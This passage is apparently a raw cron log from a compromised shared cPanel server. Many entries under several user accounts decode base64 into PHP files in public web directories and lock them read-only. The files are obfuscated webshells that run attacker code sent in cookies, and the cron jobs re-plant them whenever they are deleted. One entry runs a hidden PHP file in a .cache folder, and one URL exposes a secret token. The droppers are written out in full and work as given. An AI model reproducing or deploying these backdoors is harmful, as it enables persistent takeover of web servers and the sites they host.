fenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:34:01 medusa CROND[23572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:35:01 medusa CROND[7988]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:35:01 medusa CROND[8005]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:35:01 medusa CROND[8011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:35:02 medusa CROND[8274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:35:02 medusa CROND[8277]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 08:35:02 medusa CROND[8278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8280]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:35:02 medusa CROND[8282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8284]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:35:02 medusa CROND[8285]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8275]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:35:02 medusa CROND[8291]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:35:02 medusa CROND[8279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8286]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:35:02 medusa CROND[8304]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:35:02 medusa CROND[8301]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:35:02 medusa CROND[8309]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:35:02 medusa CROND[8307]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 08:35:02 medusa CROND[8312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:35:02 medusa CROND[8314]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:35:02 medusa CROND[8315]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:35:02 medusa CROND[8296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:35:02 medusa CROND[8316]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:35:02 medusa CROND[8300]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:36:01 medusa CROND[24244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:36:01 medusa CROND[24246]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:36:01 medusa CROND[24245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:36:01 medusa CROND[24247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:36:01 medusa CROND[24248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:36:01 medusa CROND[24249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:36:01 medusa CROND[24255]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:36:01 medusa CROND[24261]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:36:01 medusa CROND[24264]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:36:01 medusa CROND[24265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:36:01 medusa CROND[24266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:36:01 medusa CROND[24268]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:36:01 medusa CROND[24267]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:36:01 medusa CROND[24257]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:37:01 medusa CROND[9160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:37:01 medusa CROND[9161]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:37:01 medusa CROND[9163]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:37:01 medusa CROND[9166]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:37:01 medusa CROND[9169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
